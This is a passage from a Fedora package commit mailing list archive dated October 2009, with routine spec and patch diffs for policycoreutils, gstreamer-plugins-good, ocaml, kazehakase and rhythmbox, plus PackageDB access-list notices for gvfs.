 templates/user.py            |  182 ++
 templates/var_lib.py         |  158 ++
 templates/var_log.py         |  110 +
 templates/var_run.py         |  118 +
 templates/var_spool.py       |  129 +
 usersPage.py                 |  150 +
 37 files changed, 13452 insertions(+)

Index: policycoreutils-gui.patch
===================================================================
RCS file: /cvs/extras/rpms/policycoreutils/devel/policycoreutils-gui.patch,v
retrieving revision 1.95
retrieving revision 1.96
diff -u -p -r1.95 -r1.96
--- policycoreutils-gui.patch	15 Oct 2009 21:46:14 -0000	1.95
+++ policycoreutils-gui.patch	16 Oct 2009 14:46:45 -0000	1.96
@@ -8473,8 +8473,8 @@ diff --exclude-from=exclude -N -u -r nsa
 +
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/system-config-selinux.glade policycoreutils-2.0.74/gui/system-config-selinux.glade
 --- nsapolicycoreutils/gui/system-config-selinux.glade	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/system-config-selinux.glade	2009-10-15 10:42:01.000000000 -0400
-@@ -0,0 +1,3025 @@
++++ policycoreutils-2.0.74/gui/system-config-selinux.glade	2009-10-16 10:44:39.000000000 -0400
+@@ -0,0 +1,3024 @@
 +<?xml version="1.0" standalone="no"?> <!--*- mode: xml -*-->
 +<!DOCTYPE glade-interface SYSTEM "http://glade.gnome.org/glade-2.0.dtd">
 +
@@ -9777,8 +9777,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +	  <child>
 +	    <widget class="GtkNotebook" id="notebook">
 +	      <property name="visible">True</property>
-+	      <property name="can_focus">True</property>
-+	      <property name="show_tabs">True</property>
++	      <property name="show_tabs">False</property>
 +	      <property name="show_border">True</property>
 +	      <property name="tab_pos">GTK_POS_TOP</property>
 +	      <property name="scrollable">False</property>
@@ -11502,7 +11501,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +</glade-interface>
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/system-config-selinux.gladep policycoreutils-2.0.74/gui/system-config-selinux.gladep
 --- nsapolicycoreutils/gui/system-config-selinux.gladep	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/system-config-selinux.gladep	2009-10-15 10:42:01.000000000 -0400
++++ policycoreutils-2.0.74/gui/system-config-selinux.gladep	2009-10-16 10:44:39.000000000 -0400
 @@ -0,0 +1,7 @@
 +<?xml version="1.0" standalone="no"?> <!--*- mode: xml -*-->
 +<!DOCTYPE glade-project SYSTEM "http://glade.gnome.org/glade-project-2.0.dtd">


Index: policycoreutils.spec
===================================================================
RCS file: /cvs/extras/rpms/policycoreutils/devel/policycoreutils.spec,v
retrieving revision 1.652
retrieving revision 1.653
diff -u -p -r1.652 -r1.653
--- policycoreutils.spec	15 Oct 2009 21:46:26 -0000	1.652
+++ policycoreutils.spec	16 Oct 2009 14:46:45 -0000	1.653
@@ -6,7 +6,7 @@
 Summary: SELinux policy core utilities
 Name:	 policycoreutils
 Version: 2.0.74
-Release: 10%{?dist}
+Release: 11%{?dist}
 License: GPLv2+
 Group:	 System Environment/Base
 Source:	 http://www.nsa.gov/selinux/archives/policycoreutils-%{version}.tgz
@@ -296,6 +296,9 @@ fi
 exit 0
 
 %changelog
+* Fri Oct 16 2009 Dan Walsh <dwalsh at redhat.com> 2.0.74-11
+- Remove tabs from system-config-selinux glade file
+
 * Thu Oct 15 2009 Dan Walsh <dwalsh at redhat.com> 2.0.74-10
 - Remove translations screen from system-config-selinux
 



From hadess at fedoraproject.org  Fri Oct 16 14:46:54 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Fri, 16 Oct 2009 14:46:54 +0000 (UTC)
Subject: rpms/gstreamer-plugins-good/F-11 autoconvert-fix-caps.patch, NONE, 
	1.1 gstreamer-plugins-good.spec, 1.99, 1.100
Message-ID: <20091016144654.242A211C00E5@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/gstreamer-plugins-good/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21834

Modified Files:
	gstreamer-plugins-good.spec 
Added Files:
	autoconvert-fix-caps.patch 
Log Message:
* Fri Oct 16 2009 Bastien Nocera <bnocera at redhat.com> 0.10.16-2
- Fix autoconvert caps negotiation


autoconvert-fix-caps.patch:
 gstautoconvert.c |    5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

--- NEW FILE autoconvert-fix-caps.patch ---
>From 76d3a625dad9dc3e655e0272434caf42f787098f Mon Sep 17 00:00:00 2001
From: Jan Schmidt <thaytan at noraisin.net>
Date: Fri, 16 Oct 2009 01:26:10 +0100
Subject: [PATCH] autoconvert: Use gst_pad_peer_accept_caps instead of gst_pad_set_caps.

gst_pad_set_caps on the internal source pad always succeeds, because
caps propagate to the peer with buffers, not immediately. Using
gst_pad_peer_accept_caps properly checks whether the actual
sub-element can accept caps when they change.

https://bugzilla.gnome.org/show_bug.cgi?id=575568
---
 gst/autoconvert/gstautoconvert.c |    4 ++--
 1 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/farsight/autoconvert/gstautoconvert.c b/gst/autoconvert/gstautoconvert.c
index 39b9c78..4675c41 100644
--- a/farsight/autoconvert/gstautoconvert.c
+++ b/farsight/autoconvert/gstautoconvert.c
@@ -692,7 +692,7 @@ gst_auto_convert_sink_setcaps (GstPad * pad, GstCaps * caps)
 
   subelement = gst_auto_convert_get_subelement (autoconvert);
   if (subelement) {
-    if (gst_pad_set_caps (autoconvert->current_internal_srcpad, caps)) {
+    if (gst_pad_peer_accept_caps (autoconvert->current_internal_srcpad, caps)) {
       /* If we can set the new caps on the current element,
        * then we just get out
        */
@@ -777,7 +777,7 @@ gst_auto_convert_sink_setcaps (GstPad * pad, GstCaps * caps)
         internal_sinkpad_quark);
 
     /* Now we check if the element can really accept said caps */
-    if (!gst_pad_set_caps (internal_srcpad, caps)) {
+    if (!gst_pad_peer_accept_caps (internal_srcpad, caps)) {
       GST_DEBUG_OBJECT (autoconvert, "Could not set %s:%s to %" GST_PTR_FORMAT,
           GST_DEBUG_PAD_NAME (internal_srcpad), caps);
       goto next_element;
-- 
1.6.0.4


Index: gstreamer-plugins-good.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gstreamer-plugins-good/F-11/gstreamer-plugins-good.spec,v
retrieving revision 1.99
retrieving revision 1.100
diff -u -p -r1.99 -r1.100
--- gstreamer-plugins-good.spec	7 Oct 2009 10:26:09 -0000	1.99
+++ gstreamer-plugins-good.spec	16 Oct 2009 14:46:53 -0000	1.100
@@ -6,7 +6,7 @@
 
 Name: 		%{gstreamer}-plugins-good
 Version: 	0.10.16
-Release:  	1%{?dist}
+Release:  	2%{?dist}
 Summary: 	GStreamer plug-ins with good code and licensing
 
 Group: 		Applications/Multimedia
@@ -67,6 +67,8 @@ Obsoletes: gstreamer-plugins-pulse < 0.9
 
 # farsight plugins
 Patch0: 0001-Move-farsight-plugins-from-bad-to-good.patch
+# https://bugzilla.gnome.org/show_bug.cgi?id=575568#c22
+Patch1: autoconvert-fix-caps.patch
 BuildRequires: automake autoconf libtool
 Provides: gstreamer-plugins-farsight = 0.12.12-1
 Obsoletes: gstreamer-plugins-farsight < 0.12.12
@@ -106,6 +108,7 @@ This is a dummy package to make gstreame
 
 # Farsight plugins
 %patch0 -p1 -b .farsight
+%patch1 -p1 -b .autoconvert-caps
 libtoolize -f
 autoreconf
 
@@ -271,6 +274,9 @@ export GCONF_CONFIG_SOURCE=`gconftool-2 
 gconftool-2 --makefile-install-rule %{_sysconfdir}/gconf/schemas/gstreamer-%{majorminor}.schemas > /dev/null || :
 
 %changelog
+* Fri Oct 16 2009 Bastien Nocera <bnocera at redhat.com> 0.10.16-2
+- Fix autoconvert caps negotiation
+
 * Wed Oct 07 2009 Bastien Nocera <bnocera at redhat.com> 0.10.16-1
 - Update to 0.10.16
 



From dwalsh at fedoraproject.org  Fri Oct 16 14:47:06 2009
From: dwalsh at fedoraproject.org (Daniel J Walsh)
Date: Fri, 16 Oct 2009 14:47:06 +0000 (UTC)
Subject: rpms/policycoreutils/F-12 policycoreutils-gui.patch, 1.95,
	1.96 policycoreutils.spec, 1.651, 1.652
Message-ID: <20091016144706.C753311C00E5@cvs1.fedora.phx.redhat.com>

Author: dwalsh

Update of /cvs/extras/rpms/policycoreutils/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21990

Modified Files:
	policycoreutils-gui.patch policycoreutils.spec 
Log Message:
* Fri Oct 16 2009 Dan Walsh <dwalsh at redhat.com> 2.0.74-11
- Remove tabs from system-config-selinux glade file


policycoreutils-gui.patch:
 Makefile                     |   40 
 booleansPage.py              |  247 +++
 domainsPage.py               |  154 ++
 fcontextPage.py              |  223 ++
 html_util.py                 |  164 ++
 lockdown.glade               |  771 ++++++++++
 lockdown.gladep              |    7 
 lockdown.py                  |  382 ++++
 loginsPage.py                |  185 ++
 mappingsPage.py              |   56 
 modulesPage.py               |  190 ++
 polgen.glade                 | 3305 +++++++++++++++++++++++++++++++++++++++++++
 polgen.gladep                |    7 
 polgen.py                    | 1188 +++++++++++++++
 polgengui.py                 |  627 ++++++++
 portsPage.py                 |  259 +++
 selinux.tbl                  |  234 +++
 semanagePage.py              |  168 ++
 statusPage.py                |  190 ++
 system-config-selinux.glade  | 3024 +++++++++++++++++++++++++++++++++++++++
 system-config-selinux.gladep |    7 
 system-config-selinux.py     |  187 ++
 templates/__init__.py        |   18 
 templates/boolean.py         |   40 
 templates/etc_rw.py          |  129 +
 templates/executable.py      |  359 ++++
 templates/network.py         |   80 +
 templates/rw.py              |  127 +
 templates/script.py          |   99 +
 templates/semodule.py        |   41 
 templates/tmp.py             |   97 +
 templates/user.py            |  182 ++
 templates/var_lib.py         |  158 ++
 templates/var_log.py         |  110 +
 templates/var_run.py         |  118 +
 templates/var_spool.py       |  129 +
 usersPage.py                 |  150 +
 37 files changed, 13452 insertions(+)

Index: policycoreutils-gui.patch
===================================================================
RCS file: /cvs/extras/rpms/policycoreutils/F-12/policycoreutils-gui.patch,v
retrieving revision 1.95
retrieving revision 1.96
diff -u -p -r1.95 -r1.96
--- policycoreutils-gui.patch	16 Oct 2009 13:37:52 -0000	1.95
+++ policycoreutils-gui.patch	16 Oct 2009 14:47:06 -0000	1.96
@@ -8473,8 +8473,8 @@ diff --exclude-from=exclude -N -u -r nsa
 +
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/system-config-selinux.glade policycoreutils-2.0.74/gui/system-config-selinux.glade
 --- nsapolicycoreutils/gui/system-config-selinux.glade	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/system-config-selinux.glade	2009-10-15 10:42:01.000000000 -0400
-@@ -0,0 +1,3025 @@
++++ policycoreutils-2.0.74/gui/system-config-selinux.glade	2009-10-16 10:44:39.000000000 -0400
+@@ -0,0 +1,3024 @@
 +<?xml version="1.0" standalone="no"?> <!--*- mode: xml -*-->
 +<!DOCTYPE glade-interface SYSTEM "http://glade.gnome.org/glade-2.0.dtd">
 +
@@ -9777,8 +9777,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +	  <child>
 +	    <widget class="GtkNotebook" id="notebook">
 +	      <property name="visible">True</property>
-+	      <property name="can_focus">True</property>
-+	      <property name="show_tabs">True</property>
++	      <property name="show_tabs">False</property>
 +	      <property name="show_border">True</property>
 +	      <property name="tab_pos">GTK_POS_TOP</property>
 +	      <property name="scrollable">False</property>
@@ -11502,7 +11501,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +</glade-interface>
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/system-config-selinux.gladep policycoreutils-2.0.74/gui/system-config-selinux.gladep
 --- nsapolicycoreutils/gui/system-config-selinux.gladep	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/system-config-selinux.gladep	2009-10-15 10:42:01.000000000 -0400
++++ policycoreutils-2.0.74/gui/system-config-selinux.gladep	2009-10-16 10:44:39.000000000 -0400
 @@ -0,0 +1,7 @@
 +<?xml version="1.0" standalone="no"?> <!--*- mode: xml -*-->
 +<!DOCTYPE glade-project SYSTEM "http://glade.gnome.org/glade-project-2.0.dtd">


Index: policycoreutils.spec
===================================================================
RCS file: /cvs/extras/rpms/policycoreutils/F-12/policycoreutils.spec,v
retrieving revision 1.651
retrieving revision 1.652
diff -u -p -r1.651 -r1.652
--- policycoreutils.spec	16 Oct 2009 13:38:04 -0000	1.651
+++ policycoreutils.spec	16 Oct 2009 14:47:06 -0000	1.652
@@ -6,7 +6,7 @@
 Summary: SELinux policy core utilities
 Name:	 policycoreutils
 Version: 2.0.74
-Release: 10%{?dist}
+Release: 11%{?dist}
 License: GPLv2+
 Group:	 System Environment/Base
 Source:	 http://www.nsa.gov/selinux/archives/policycoreutils-%{version}.tgz
@@ -296,6 +296,9 @@ fi
 exit 0
 
 %changelog
+* Fri Oct 16 2009 Dan Walsh <dwalsh at redhat.com> 2.0.74-11
+- Remove tabs from system-config-selinux glade file
+
 * Thu Oct 15 2009 Dan Walsh <dwalsh at redhat.com> 2.0.74-10
 - Remove translations screen from system-config-selinux
 



From rjones at fedoraproject.org  Fri Oct 16 14:55:32 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Fri, 16 Oct 2009 14:55:32 +0000 (UTC)
Subject: rpms/ocaml/devel ocamlbyteinfo.ml, NONE, 1.1 ocamlplugininfo.ml,
	NONE, 1.1 ocaml.spec, 1.59, 1.60
Message-ID: <20091016145532.8FCAA11C00E5@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/ocaml/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23885

Modified Files:
	ocaml.spec 
Added Files:
	ocamlbyteinfo.ml ocamlplugininfo.ml 
Log Message:
* Fri Oct 16 2009 Richard W.M. Jones <rjones at redhat.com> - 3.11.1-3
- Add ocamlbyteinfo and ocamlplugininfo programs from Debian.



***** Error reading new file: [Errno 2] No such file or directory: 'ocamlbyteinfo.ml'

***** Error reading new file: [Errno 2] No such file or directory: 'ocamlplugininfo.ml'

Index: ocaml.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml/devel/ocaml.spec,v
retrieving revision 1.59
retrieving revision 1.60
diff -u -p -r1.59 -r1.60
--- ocaml.spec	4 Oct 2009 22:34:51 -0000	1.59
+++ ocaml.spec	16 Oct 2009 14:55:32 -0000	1.60
@@ -2,7 +2,7 @@
 
 Name:           ocaml
 Version:        3.11.1
-Release:        2%{?dist}
+Release:        3%{?dist}
 
 Summary:        Objective Caml compiler and programming environment
 
@@ -18,6 +18,11 @@ Source3:        http://caml.inria.fr/dis
 Source4:        ocaml-find-requires.sh
 Source5:        ocaml-find-provides.sh
 
+# Useful utilities from Debian, and sent upstream.
+# http://git.debian.org/?p=pkg-ocaml-maint/packages/ocaml.git;a=tree;f=debian/ocamlbyteinfo;hb=HEAD
+Source6:        ocamlbyteinfo.ml
+Source7:        ocamlplugininfo.ml
+
 Patch0:         ocaml-3.11.0-rpath.patch
 Patch1:         ocaml-user-cflags.patch
 
@@ -212,6 +217,13 @@ make -C emacs ocamltags
 # make -C tools objinfo
 (cd tools; ../boot/ocamlrun ../ocamlopt -nostdlib -I ../stdlib -I ../utils -I ../parsing -I ../typing -I ../bytecomp -I ../asmcomp -I ../driver -o objinfo config.cmx objinfo.ml)
 
+# Currently these tools are supplied by Debian, but are expected
+# to go upstream at some point.
+cp %{SOURCE6} %{SOURCE7} .
+boot/ocamlrun ./ocamlc -I otherlibs/dynlink dynlinkaux.cmo ocamlbyteinfo.ml -o ocamlbyteinfo
+cp otherlibs/dynlink/natdynlink.ml .
+boot/ocamlrun ./ocamlopt unix.cmxa str.cmxa natdynlink.ml ocamlplugininfo.ml -o ocamlplugininfo
+
 
 %install
 rm -rf $RPM_BUILD_ROOT
@@ -248,6 +260,9 @@ echo %{version} > $RPM_BUILD_ROOT%{_libd
 # Remove rpaths from stublibs .so files.
 chrpath --delete $RPM_BUILD_ROOT%{_libdir}/ocaml/stublibs/*.so
 
+install -m 0755 ocamlbyteinfo $RPM_BUILD_ROOT%{_bindir}
+install -m 0755 ocamlplugininfo $RPM_BUILD_ROOT%{_bindir}
+
 
 %clean
 rm -rf $RPM_BUILD_ROOT
@@ -270,6 +285,7 @@ fi
 %files
 %defattr(-,root,root,-)
 %{_bindir}/ocaml
+%{_bindir}/ocamlbyteinfo
 %{_bindir}/ocamlbuild
 %{_bindir}/ocamlbuild.byte
 %{_bindir}/ocamlbuild.native
@@ -286,6 +302,7 @@ fi
 %{_bindir}/ocamlobjinfo
 %{_bindir}/ocamlopt
 %{_bindir}/ocamlopt.opt
+%{_bindir}/ocamlplugininfo
 %{_bindir}/ocamlprof
 %{_bindir}/ocamlyacc
 %{_libdir}/ocaml/addlabels
@@ -433,6 +450,9 @@ fi
 
 
 %changelog
+* Fri Oct 16 2009 Richard W.M. Jones <rjones at redhat.com> - 3.11.1-3
+- Add ocamlbyteinfo and ocamlplugininfo programs from Debian.
+
 * Sun Oct  4 2009 Richard W.M. Jones <rjones at redhat.com> - 3.11.1-2
 - ocaml-find-requires.sh: Calculate runtime version using ocamlrun
   -version instead of fedora-ocaml-release file.



From mtasaka at fedoraproject.org  Fri Oct 16 15:03:09 2009
From: mtasaka at fedoraproject.org (Mamoru Tasaka)
Date: Fri, 16 Oct 2009 15:03:09 +0000 (UTC)
Subject: rpms/kazehakase/F-12
	kazehakase-0.5.8-crash-viewing-source-with-no-page.patch, NONE,
	1.1 kazehakase.spec, 1.96, 1.97
Message-ID: <20091016150309.2DD9E11C00E5@cvs1.fedora.phx.redhat.com>

Author: mtasaka

Update of /cvs/extras/rpms/kazehakase/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25863/F-12

Modified Files:
	kazehakase.spec 
Added Files:
	kazehakase-0.5.8-crash-viewing-source-with-no-page.patch 
Log Message:
* Sat Oct 17 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 0.5.8-2
- Fix crash when trying to view source or cert with no page loaded
  (bug 529334)


kazehakase-0.5.8-crash-viewing-source-with-no-page.patch:
 kz-actions.c |    2 ++
 1 file changed, 2 insertions(+)

--- NEW FILE kazehakase-0.5.8-crash-viewing-source-with-no-page.patch ---
Index: src/actions/kz-actions.c
===================================================================
--- src/actions/kz-actions.c	(revision 3869)
+++ src/actions/kz-actions.c	(revision 3870)
@@ -531,6 +531,7 @@
 {
 	KzWeb *web = KZ_WINDOW_CURRENT_WEB(kz);
 	GtkWidget *newtab;
+	if (!web) return;
 
 	newtab = kz_window_open_new_tab(kz, NULL);
 
@@ -541,6 +542,7 @@
 act_show_page_certificate (GtkAction *action, KzWindow *kz)
 {
 	KzWeb *web = KZ_WINDOW_CURRENT_WEB(kz);
+	if (!web) return;
 
 	kz_web_show_page_certificate(web);
 }


Index: kazehakase.spec
===================================================================
RCS file: /cvs/extras/rpms/kazehakase/F-12/kazehakase.spec,v
retrieving revision 1.96
retrieving revision 1.97
diff -u -p -r1.96 -r1.97
--- kazehakase.spec	29 Sep 2009 04:21:44 -0000	1.96
+++ kazehakase.spec	16 Oct 2009 15:03:08 -0000	1.97
@@ -38,7 +38,7 @@
 # When changing release number, please make it sure that
 # the new EVR won't be higher than the one of higher branch!!
 #
-%define		fedorarel	1
+%define		fedorarel	2
 %define		_release	%{fedorarel}%{?usesvn:.svn%svnver}
 
 %if 0%{?fedora} < 1
@@ -68,6 +68,7 @@ Patch14:	kazehakase-0.5.6-rev3769-embed-
 Patch15:	kazehakase-0.5.7-gtk0218.patch
 %endif
 Patch17:	kazehakase-0.5.7-external-rev938-libegg-parallel_make.patch
+Patch18:	kazehakase-0.5.8-crash-viewing-source-with-no-page.patch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:	dbus-devel
@@ -200,6 +201,7 @@ This package uses WebKit for HTML render
 %patch15 -p0 -b .gtk -R
 %endif
 %patch17 -p0 -b .libegg_mak
+%patch18 -p0 -b .nopage
 
 %if %{need_autogen}
 sh autogen.sh
@@ -354,6 +356,10 @@ desktop-file-install \
 %endif
 
 %changelog
+* Sat Oct 17 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 0.5.8-2
+- Fix crash when trying to view source or cert with no page loaded
+  (bug 529334)
+
 * Tue Sep 29 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 0.5.8-1
 - Update to 0.5.8
 



From mtasaka at fedoraproject.org  Fri Oct 16 15:03:09 2009
From: mtasaka at fedoraproject.org (Mamoru Tasaka)
Date: Fri, 16 Oct 2009 15:03:09 +0000 (UTC)
Subject: rpms/kazehakase/devel
	kazehakase-0.5.8-crash-viewing-source-with-no-page.patch, NONE,
	1.1 kazehakase.spec, 1.98, 1.99
Message-ID: <20091016150309.6863B11C00E5@cvs1.fedora.phx.redhat.com>

Author: mtasaka

Update of /cvs/extras/rpms/kazehakase/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25863/devel

Modified Files:
	kazehakase.spec 
Added Files:
	kazehakase-0.5.8-crash-viewing-source-with-no-page.patch 
Log Message:
* Sat Oct 17 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 0.5.8-2
- Fix crash when trying to view source or cert with no page loaded
  (bug 529334)


kazehakase-0.5.8-crash-viewing-source-with-no-page.patch:
 kz-actions.c |    2 ++
 1 file changed, 2 insertions(+)

--- NEW FILE kazehakase-0.5.8-crash-viewing-source-with-no-page.patch ---
Index: src/actions/kz-actions.c
===================================================================
--- src/actions/kz-actions.c	(revision 3869)
+++ src/actions/kz-actions.c	(revision 3870)
@@ -531,6 +531,7 @@
 {
 	KzWeb *web = KZ_WINDOW_CURRENT_WEB(kz);
 	GtkWidget *newtab;
+	if (!web) return;
 
 	newtab = kz_window_open_new_tab(kz, NULL);
 
@@ -541,6 +542,7 @@
 act_show_page_certificate (GtkAction *action, KzWindow *kz)
 {
 	KzWeb *web = KZ_WINDOW_CURRENT_WEB(kz);
+	if (!web) return;
 
 	kz_web_show_page_certificate(web);
 }


Index: kazehakase.spec
===================================================================
RCS file: /cvs/extras/rpms/kazehakase/devel/kazehakase.spec,v
retrieving revision 1.98
retrieving revision 1.99
diff -u -p -r1.98 -r1.99
--- kazehakase.spec	29 Sep 2009 04:22:45 -0000	1.98
+++ kazehakase.spec	16 Oct 2009 15:03:09 -0000	1.99
@@ -38,7 +38,7 @@
 # When changing release number, please make it sure that
 # the new EVR won't be higher than the one of higher branch!!
 #
-%define		fedorarel	1
+%define		fedorarel	2
 %define		_release	%{fedorarel}%{?usesvn:.svn%svnver}
 
 %if 0%{?fedora} < 1
@@ -68,6 +68,7 @@ Patch14:	kazehakase-0.5.6-rev3769-embed-
 Patch15:	kazehakase-0.5.7-gtk0218.patch
 %endif
 Patch17:	kazehakase-0.5.7-external-rev938-libegg-parallel_make.patch
+Patch18:	kazehakase-0.5.8-crash-viewing-source-with-no-page.patch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:	dbus-devel
@@ -200,6 +201,7 @@ This package uses WebKit for HTML render
 %patch15 -p0 -b .gtk -R
 %endif
 %patch17 -p0 -b .libegg_mak
+%patch18 -p0 -b .nopage
 
 %if %{need_autogen}
 sh autogen.sh
@@ -354,6 +356,10 @@ desktop-file-install \
 %endif
 
 %changelog
+* Sat Oct 17 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 0.5.8-2
+- Fix crash when trying to view source or cert with no page loaded
+  (bug 529334)
+
 * Tue Sep 29 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 0.5.8-1
 - Update to 0.5.8
 



From pkgdb at fedoraproject.org  Fri Oct 16 15:15:01 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 16 Oct 2009 15:15:01 +0000
Subject: [pkgdb] gvfs: hadess has requested watchcommits
Message-ID: <20091016151501.87E5B10F85F@bastion2.fedora.phx.redhat.com>

hadess has requested the watchcommits acl on gvfs (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/gvfs



From pkgdb at fedoraproject.org  Fri Oct 16 15:15:08 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 16 Oct 2009 15:15:08 +0000
Subject: [pkgdb] gvfs: hadess has requested watchbugzilla
Message-ID: <20091016151509.04E7210F85F@bastion2.fedora.phx.redhat.com>

hadess has requested the watchbugzilla acl on gvfs (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/gvfs



From pkgdb at fedoraproject.org  Fri Oct 16 15:15:19 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 16 Oct 2009 15:15:19 +0000
Subject: [pkgdb] gvfs: hadess has requested watchbugzilla
Message-ID: <20091016151519.490F810F85F@bastion2.fedora.phx.redhat.com>

hadess has requested the watchbugzilla acl on gvfs (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/gvfs



From pkgdb at fedoraproject.org  Fri Oct 16 15:15:21 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 16 Oct 2009 15:15:21 +0000
Subject: [pkgdb] gvfs: hadess has requested watchcommits
Message-ID: <20091016151521.46FA910F8A3@bastion2.fedora.phx.redhat.com>

hadess has requested the watchcommits acl on gvfs (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/gvfs



From pkgdb at fedoraproject.org  Fri Oct 16 15:15:26 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 16 Oct 2009 15:15:26 +0000
Subject: [pkgdb] gvfs: hadess has requested watchbugzilla
Message-ID: <20091016151526.6A6FC10F889@bastion2.fedora.phx.redhat.com>

hadess has requested the watchbugzilla acl on gvfs (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/gvfs



From pkgdb at fedoraproject.org  Fri Oct 16 15:15:28 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 16 Oct 2009 15:15:28 +0000
Subject: [pkgdb] gvfs: hadess has requested watchcommits
Message-ID: <20091016151528.0E59410F87E@bastion2.fedora.phx.redhat.com>

hadess has requested the watchcommits acl on gvfs (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/gvfs



From pkgdb at fedoraproject.org  Fri Oct 16 15:18:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 16 Oct 2009 15:18:06 +0000
Subject: [pkgdb] gvfs had acl change status
Message-ID: <20091016151806.BD96010F85F@bastion2.fedora.phx.redhat.com>

tbzatek has set the watchbugzilla acl on gvfs (Fedora devel) to Approved for hadess

To make changes to this package see:
  /pkgdb/packages/name/gvfs



From pkgdb at fedoraproject.org  Fri Oct 16 15:18:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 16 Oct 2009 15:18:09 +0000
Subject: [pkgdb] gvfs had acl change status
Message-ID: <20091016151810.1F61F10F8B7@bastion2.fedora.phx.redhat.com>

tbzatek has set the watchcommits acl on gvfs (Fedora devel) to Approved for hadess

To make changes to this package see:
  /pkgdb/packages/name/gvfs



From pkgdb at fedoraproject.org  Fri Oct 16 15:18:16 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 16 Oct 2009 15:18:16 +0000
Subject: [pkgdb] gvfs had acl change status
Message-ID: <20091016151816.5796B10F87E@bastion2.fedora.phx.redhat.com>

tbzatek has set the watchbugzilla acl on gvfs (Fedora 11) to Approved for hadess

To make changes to this package see:
  /pkgdb/packages/name/gvfs



From pkgdb at fedoraproject.org  Fri Oct 16 15:18:17 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 16 Oct 2009 15:18:17 +0000
Subject: [pkgdb] gvfs had acl change status
Message-ID: <20091016151817.DCDF010F8A3@bastion2.fedora.phx.redhat.com>

tbzatek has set the watchcommits acl on gvfs (Fedora 11) to Approved for hadess

To make changes to this package see:
  /pkgdb/packages/name/gvfs



From pkgdb at fedoraproject.org  Fri Oct 16 15:18:19 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 16 Oct 2009 15:18:19 +0000
Subject: [pkgdb] gvfs had acl change status
Message-ID: <20091016151819.69F1C10F8AB@bastion2.fedora.phx.redhat.com>

tbzatek has set the watchbugzilla acl on gvfs (Fedora 12) to Approved for hadess

To make changes to this package see:
  /pkgdb/packages/name/gvfs



From pkgdb at fedoraproject.org  Fri Oct 16 15:18:19 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 16 Oct 2009 15:18:19 +0000
Subject: [pkgdb] gvfs had acl change status
Message-ID: <20091016151819.B4FDD10F8B1@bastion2.fedora.phx.redhat.com>

tbzatek has set the watchcommits acl on gvfs (Fedora 12) to Approved for hadess

To make changes to this package see:
  /pkgdb/packages/name/gvfs



From hadess at fedoraproject.org  Fri Oct 16 15:22:33 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Fri, 16 Oct 2009 15:22:33 +0000 (UTC)
Subject: rpms/rhythmbox/devel rb-no-HEAD-for-podcasts.patch, NONE,
	1.1 rhythmbox.spec, 1.269, 1.270
Message-ID: <20091016152234.05D3B11C00E5@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/rhythmbox/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32207

Modified Files:
	rhythmbox.spec 
Added Files:
	rb-no-HEAD-for-podcasts.patch 
Log Message:
* Fri Oct 16 2009 Bastien Nocera <bnocera at redhat.com> 0.12.5-6
- Avoid using HEAD to get podcast mime-types


